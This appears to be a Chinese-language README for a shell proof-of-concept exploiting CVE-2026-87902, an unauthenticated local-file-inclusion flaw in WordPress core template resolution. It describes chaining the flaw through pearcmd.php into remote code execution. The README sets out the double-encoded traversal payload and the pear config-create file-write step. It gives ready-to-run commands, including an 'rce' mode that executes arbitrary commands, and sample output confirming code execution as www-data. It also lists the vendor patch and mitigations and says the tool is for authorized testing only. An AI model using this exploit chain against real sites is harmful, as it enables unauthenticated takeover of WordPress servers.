
Shell PoC for CVE-2026-87902,一个通过页面模板解析实现的未认证 WordPress 核心 LFI,可链式利用 pearcmd.php 实现 RCE。
| 组件 | WordPress 核心(wp-includes/template.php) |
| 类型 | CWE-98 — PHP 文件包含(LFI → RCE) |
| 受影响版本 | WordPress < 7.1.2(7.0 分支在 7.0.6 中修复;6.x 向后移植取决于分支) |
| 修复版本 | 7.1.2 / 7.0.6 |
| CVE | CVE-2026-87902 — CVSS 3.1 8.1(AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| PoC | poc.sh |
当 pagename 查询变量包含百分号编码字符时,get_page_template() 会将 page-{urldecode(pagename)}.php 添加到页面模板层级中,而 locate_template() 使用 file_exists() / require 解析候选路径,却没有验证该路径是否保持在活动主题内。因此,未认证的攻击者可以包含并执行活动主题之外的、可读的本地 .php 文件。
前提条件:
< 7.1.2。page- 开头的顶层目录(例如官方 Twenty Fourteen 自带 page-templates/)。模板名称始终以 page- 为前缀,因此第一个路径组件必须存在。载荷经过双重编码,使 sanitize_title_for_query() 保留 %2e/%2f 字节;随后 get_page_template() 内部的 urldecode() 在模板解析时重建 ../。
如果服务器还存在可访问的 pearcmd.php 且 register_argc_argv = On(官方 PHP 镜像中的默认值),该利用链会升级为远程代码执行:查询字符串通过 + 分隔符成为 CLI argv,pear config-create 写入攻击者控制的 .php 文件,然后同一个 LFI 将其包含。
# Interactive menu (recommended for a quick start)
./poc.sh
# 1) Detect the LFI (read-only)
./poc.sh check --target https://example.com
# 2) Detect the LFI and test the RCE preconditions (self-deleting payload)
./poc.sh check-rce --target https://example.com --authorized
# 3) Execute a command through the chain (self-deleting payload)
./poc.sh rce --target https://example.com --authorized --cmd "id;hostname"
选项:--page-id N、--ups N、--pearcmd PATH、--timeout N。当目标不是 localhost 时,任何可能写入的模式都需要 --authorized(或 VDP_AUTHORIZED=1)。
check)== CVE-2026-87902 PoC (check) ==
target: https://example.com
[1] Discovering a public page ID
[info] page_id: 17
[info] baseline: POST /?page_id=17 -> 52377 bytes
[2] Testing the LFI (read-only include of wp-includes/version.php)
[PASS] VULNERABLE: included wp-includes/version.php from outside the theme (0-byte body vs 52377-byte page)
[info] theme directory: page-templates/ traversal depth to webroot: 4
[info] second file confirmed: wp-admin/install.php executed (static string returned)
== RESULT: VULNERABLE to CVE-2026-87902 (LFI confirmed) ==
check-rce / rce)[3] Testing the LFI-to-RCE chain (self-deleting payload)
[PASS] pearcmd.php executed via the LFI (usr/local/lib/php/pearcmd, root depth 7)
[PASS] RCE CONFIRMED: command output returned (uid/gid present)
[info] payload self-deleted (cleanup verified)
[4] Executing command: id;hostname;whoami
> uid=33(www-data) gid=33(www-data) groups=33(www-data)
> 4119cb19757f
> www-data
如果 LFI 已确认但 PEAR 不存在(或 register_argc_argv 为 Off),脚本会清楚地报告该前提条件并不写入任何内容退出(exit 3)。
page-* 主题目录和遍历深度,通过 pagename 参数请求
page-<dir>/../../…/wp-includes/version.php
(POST,空 body — 这是必需的,因为 WordPress 会先对 GET/HEAD 进行规范化重定向)。200 且 body 为 0 字节(相对于多 KB 的页面基线)即可证明包含成功。pear config-create,使用自删除载荷,然后包含写入的文件,并在请求中提供命令。厂商在 7.1.2 中的修复(wp-includes/template.php):
- if ( $pagename_decoded !== $pagename ) {
+ if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
外加 locate_template() 中的 realpath() 包含检查
(_wp_is_template_path_allowed())。wordpress-7.0.6 包含字节完全相同的修复。
..、%2e%2e、
%252e%252e)的 pagename 值,或移除 page-* 主题目录这一前提条件。仅用于授权的安全测试。RCE 模式使用自删除载荷,除自身的临时标记文件外绝不写入任何内容,但它们仍会在目标上执行命令 — 仅在你拥有明确许可的情况下运行它们。